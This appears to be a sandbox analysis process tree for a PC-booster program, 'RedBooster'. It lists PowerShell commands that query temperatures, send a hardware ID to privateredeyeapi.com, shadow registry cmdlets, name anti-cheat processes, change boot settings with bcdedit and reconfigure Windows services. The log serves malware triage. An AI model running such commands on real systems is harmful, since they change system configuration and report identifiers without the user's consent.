  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=RegisterBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') $u+='&key='+[uri]::EscapeDataString('') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='Stop' try { (Invoke-WebRequest -Uri 'https://privateredeyeapi.com/versionBooster.php' -Headers @{ 'User-Agent'='RedBooster' } -TimeoutSec 20 -UseBasicParsing).Content } catch { '' }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=EventBooster' try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=BroadcastGetBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 10 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$u='https://privateredeyeapi.com/?action=TrialBooster' $u+='&hwid='+[uri]::EscapeDataString('RAxQWyB_k5hk8EJjm7au9kZnvgE5P9C5LlqSVdmyKwc') try{[Net.ServicePointManager]::SecurityProtocol=[Net.ServicePointManager]::SecurityProtocol -bor 3072}catch{}; try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{}; try{$resp=Invoke-WebRequest -Uri $u -TimeoutSec 12 -UseBasicParsing -Headers @{'User-Agent'='RedBooster'}; [System.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray())}catch{try{$r=$_.Exception.Response;if($r){$s=New-Object System.IO.StreamReader($r.GetResponseStream(),[System.Text.Encoding]::UTF8);$s.ReadToEnd()}else{''}}catch{''}}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4196
- C:\Windows\system32\bcdedit.exe
  "bcdedit" /set hypervisorlaunchtype auto
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$ErrorActionPreference='SilentlyContinue';function S($l,$t){Write-Output \"$l|$t\"};$rbAcSkip='easyanticheat|beservice|battleye|^vgc$|vgtray|vanguard|sguard|ace-base|anticheatexpert|gameguard|npggnt|nprotect|faceit|mhyprot|^cod$|modernwarfare|warzone|blackops|cod22-cod|valorant|fortniteclient-win64|r5apex|tslgame|rainbowsix|rustclient|destiny2|bedaisy|easyanticheat_eos|vgc|vgk|npggsvc|acegameguard|aceac|sgguard' $RBJournalPath = 'C:\Users\Admin\AppData\Local\RedBooster\undo.jsonl' $RBModule = 'boost' function RB-Journal($module,$root,$path,$name){ try { $p = \"$($root):\$path\" $prev = $null $kind = 'regdword' if (Test-Path -LiteralPath $p) { $item = Get-ItemProperty -LiteralPath $p -Name $name -ErrorAction SilentlyContinue if ($item -ne $null -and ($item.PSObject.Properties.Name -contains $name)) { $prev = $item.$name } } if ($prev -ne $null -and $prev -isnot [int] -and $prev -isnot [long]) { $kind = 'regstring'; $prev = [string]$prev } $rec = [ordered]@{ module=$module; kind=$kind; root=$root; path=$path; name=$name; prev=$prev } $line = ($rec | ConvertTo-Json -Compress -Depth 3) $dir = Split-Path -Parent $RBJournalPath if (-not (Test-Path $dir)) { New-Item -ItemType Directory -Force -Path $dir | Out-Null } Add-Content -LiteralPath $RBJournalPath -Value $line -Encoding UTF8 -ErrorAction SilentlyContinue } catch { } } function RB-JournalP($module,$full,$name){ try { $f = [string]$full # Accept 'HKLM:\path', 'HKLM:path', 'Registry::HKEY_LOCAL_MACHINE\path' and PSPath forms. $f = $f -replace '^Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $f = $f -replace '^Registry::HKEY_USERS\\?', 'HKU:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_LOCAL_MACHINE\\?', 'HKLM:\' $f = $f -replace '^Microsoft\.PowerShell\.Core\\Registry::HKEY_CURRENT_USER\\?', 'HKCU:\' $i = $f.IndexOf(':') if ($i -lt 1) { return } $root = $f.Substring(0, $i) $sub = $f.Substring($i + 1).TrimStart('\') if ($root -eq 'HKEY_LOCAL_MACHINE') { $root = 'HKLM' } if ($root -eq 'HKEY_CURRENT_USER') { $root = 'HKCU' } RB-Journal $module $root $sub $name } catch { } } # Proxy the two registry-writing cmdlets so EVERY inline write in every script is journalled # without touching ~80 individual call sites. A PowerShell function shadows a cmdlet of the same # name, so these intercept the call, record the previous value, then delegate to the real cmdlet # by its fully-qualified name with the caller's arguments passed through untouched. # # Every parameter shape used in this codebase is covered by a test (see the `test-proxy` script # and `parses_records_written_by_powershell`): named -Path, positional path, -LiteralPath, # -PropertyType vs -Type, -Force, -ErrorAction, and the `Get-ChildItem | %{ ... $_.PSPath }` # pipeline form. `ValueFromRemainingArguments` absorbs anything unforeseen so an unexpected # parameter can never turn a registry write into a hard error. function New-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$PropertyType, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty -Path $_.PSPath -Name 'TcpAckFrequency' -ErrorAction SilentlyContinue; Remove-ItemProperty -Path $_.PSPath -Name 'TCPNoDelay' -ErrorAction SilentlyContinue; Remove-ItemProperty -Path $_.PSPath -Name 'TcpDelAckTicks' -ErrorAction SilentlyContinue } S 'ok' 'Restored Nagle (removed TcpAckFrequency/TCPNoDelay/TcpDelAckTicks) on all interfaces' Get-ChildItem 'HKLM:\SYSTEM\CurrentControlSet\Control\Class\{4d36e972-e325-11ce-bfc1-08002be10318}' -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match '^[0-9]{4}$' } | ForEach-Object { Remove-ItemProperty -Path $_.PSPath -Name 'PnPCapabilities' -ErrorAction SilentlyContinue } S 'ok' 'Re-enabled network-adapter power management (removed PnPCapabilities)' foreach($n in 'RedBooster','RedBooster-v2','RedBooster-test','LibreHardwareMonitor','PresentMon','FanControl','msedgewebview2','chrome','msedge','firefox','opera','brave','OneDrive','Dropbox','GoogleDriveFS','SearchIndexer'){ Get-Process -Name $n -ErrorAction SilentlyContinue | ForEach-Object { try { $_.PriorityClass='Normal' } catch {} } } S 'ok' 'All app priorities restored to Normal' ipconfig /flushdns | Out-Null S 'ok' 'Flushed DNS cache' "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:2604
- - C:\Windows\system32\ipconfig.exe
    "C:\Windows\system32\ipconfig.exe" /flushdns
    3⤵
    - Gathers network information
    PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$src = @' using System; using System.Runtime.InteropServices; public static class RBNv { [DllImport(\"nvapi64.dll\", EntryPoint=\"nvapi_QueryInterface\", CallingConvention=CallingConvention.Cdecl)] static extern IntPtr QI(uint id); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dInit(); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dCreate(out IntPtr s); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dSess(IntPtr s); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dBase(IntPtr s, out IntPtr p); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] delegate int dSet(IntPtr s, IntPtr p, ref NVDRS_SETTING st); [StructLayout(LayoutKind.Sequential)] public struct NVDRS_SETTING { public uint version; [MarshalAs(UnmanagedType.ByValArray, SizeConst=2048)] public ushort[] settingName; public uint settingId; public uint settingType; public uint settingLocation; public uint isCurrentPredefined; public uint isPredefinedValid; [MarshalAs(UnmanagedType.ByValArray, SizeConst=4100)] public byte[] predefinedValue; [MarshalAs(UnmanagedType.ByValArray, SizeConst=4100)] public byte[] currentValue; } static T F<T>(uint id) where T : class { IntPtr p = QI(id); return p == IntPtr.Zero ? null : (T)(object)Marshal.GetDelegateForFunctionPointer(p, typeof(T)); } public static string Apply() { try { var init = F<dInit>(0x0150E828); var create = F<dCreate>(0x0694D52E); var load = F<dSess>(0x375DBD6B); var save = F<dSess>(0xFCBC7E14); var getbase = F<dBase>(0xDA8466A0); var setset = F<dSet>(0x577DD202); var destroy = F<dSess>(0xDAD9CFF8); if (init == null || create == null || load == null || getbase == null || setset == null) return \"ERR:nvapi entrypoints\"; if (init() != 0) return \"ERR:NvAPI_Initialize\"; IntPtr sess; if (create(out sess) != 0) return \"ERR:CreateSession\"; try { load(sess); IntPtr prof; if (getbase(sess, out prof) != 0) return \"ERR:GetBaseProfile\"; uint ver = (uint)(Marshal.SizeOf(typeof(NVDRS_SETTING)) | (1 << 16)); uint[,] S = new uint[,] { {0x1057EB71,0x00000005},{0x00A879CF,0x60925292},{0x007BA09E,0x00000000},{0x00CE2691,0x00000000},{0x0E73EE85,0x00000000},{0x1074C972,0x00000000},{0x00664339,0x00000000},{0x00667329,0x00000000},{0x10835002,0x00000000},{0x20C1221E,0x00000000},{0x00198FFF,0x00000001},{0x00E73211,0x00000001},{0x0E73D34C,0x00000000} }; int ok = 0; for (int i = 0; i < S.GetLength(0); i++) { var st = new NVDRS_SETTING(); st.version = ver; st.settingName = new ushort[2048]; st.predefinedValue = new byte[4100]; st.currentValue = new byte[4100]; st.settingId = S[i, 0]; st.settingType = 0; byte[] v = BitConverter.GetBytes(S[i, 1]); Array.Copy(v, 0, st.currentValue, 0, 4); if (setset(sess, prof, ref st) == 0) ok++; } if (save != null) save(sess); return \"OK:\" + ok; } finally { if (destroy != null) destroy(sess); } } catch (Exception e) { return \"ERR:\" + e.Message; } } } '@ try { Add-Type -TypeDefinition $src -ErrorAction Stop; [RBNv]::Apply() } catch { \"ERR:\" + $_.Exception.Message }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6864
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mzwxqmpx\mzwxqmpx.cmdline"
    3⤵
    PID:5972
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3308.tmp" "c:\Users\Admin\AppData\Local\Temp\mzwxqmpx\CSC5868FBE618B4CB896F124701D12419.TMP"
      4⤵
      PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6476
- C:\Windows\system32\sc.exe
  "sc" config SysMain start= auto
  2⤵
  - Launches sc.exe
  PID:2544
- C:\Windows\system32\sc.exe
  "sc" start SysMain
  2⤵
  - Launches sc.exe
  PID:2744
- C:\Windows\system32\sc.exe
  "sc" config WSearch start= delayed-auto
  2⤵
  - Launches sc.exe
  PID:2088
- C:\Windows\system32\sc.exe
  "sc" start WSearch
  2⤵
  - Launches sc.exe
  PID:1912
- C:\Windows\system32\sc.exe
  "sc" config DiagTrack start= auto
  2⤵
  - Launches sc.exe
  PID:4296
- C:\Windows\system32\sc.exe
  "sc" start DiagTrack
  2⤵
  - Launches sc.exe
  PID:1576
- C:\Windows\system32\sc.exe
  "sc" config Spooler start= auto
  2⤵
  - Launches sc.exe
  PID:5220
- C:\Windows\system32\sc.exe
  "sc" start Spooler
  2⤵
  - Launches sc.exe
  PID:236
- C:\Windows\system32\sc.exe
  "sc" config CDPSvc start= auto
  2⤵
  - Launches sc.exe
  PID:4620
- C:\Windows\system32\sc.exe
  "sc" start CDPSvc
  2⤵
  - Launches sc.exe
  PID:6848
- C:\Windows\system32\sc.exe
  "sc" config PhoneSvc start= demand
  2⤵
  - Launches sc.exe
  PID:6368
- C:\Windows\system32\sc.exe
  "sc" config Fax start= demand
  2⤵
  - Launches sc.exe
  PID:4248
